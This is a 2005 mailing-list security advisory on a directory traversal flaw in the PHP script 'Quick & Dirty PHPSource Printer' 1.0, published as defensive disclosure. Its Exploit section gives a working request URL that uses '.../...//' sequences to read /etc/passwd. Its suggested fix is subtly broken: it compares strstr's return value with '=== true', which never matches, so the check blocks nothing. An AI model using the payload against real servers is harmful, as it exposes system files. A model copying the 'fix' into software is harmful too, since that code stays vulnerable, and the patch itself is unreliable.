bugtraq - Directory traversal vulnerability in "Quick & Dirty PHPSource Printer" 1.0

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Message-ID: <20050704060029.GA23169@positivism.org>
Date: Sun, 3 Jul 2005 23:00:30 -0700
From: Seth Alan Woolley <seth@...tology.org>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Cc: kaf@...b.net
Subject: Directory traversal vulnerability in "Quick &
	Dirty PHPSource Printer" 1.0

== Vendor:
Kaf Oseo

== Product:
http://guff.szub.net/quick-dirty-phpsource-printer/

== Version:
1.0

== Vulnerability:
Filtering "../" to "" allowed use of ".../...//" to be inserted and 
changed to "../" allowing directory traversal.

== Fix:
Use the following line instead:
    $file = (strstr($file_get, '../') === true) ? '' : $file_get; // protect from site traversing

== Discoverer:
Seth Alan Woolley

== Discovery Date:
2005-07-03

== Patch Date:
2005-07-03

== Notification Date:
2005-07-03

== Disclosure Date:
2005-07-03

== Exploit:
http://sample.domain.com/source.php?file=.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd

== Greets
shellsage, #wordpress

== Commentary
Free/Open Source Software ... written better because anybody could be 
looking at it and people who care about security more than their next 
paycheck did look at it.

-- 
Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized
Quality Assurance Team Leader & Security Team: Source Mage GNU/linux
Linux so advanced, it may as well be magic http://www.sourcemage.org
Secretary Pacific Green Party of Oregon http://www.pacificgreens.org
Key id 00BA3AF3 = 8BE0 A72E A47E A92A 0737  F2FF 7A3F 6D3C 00BA 3AF3

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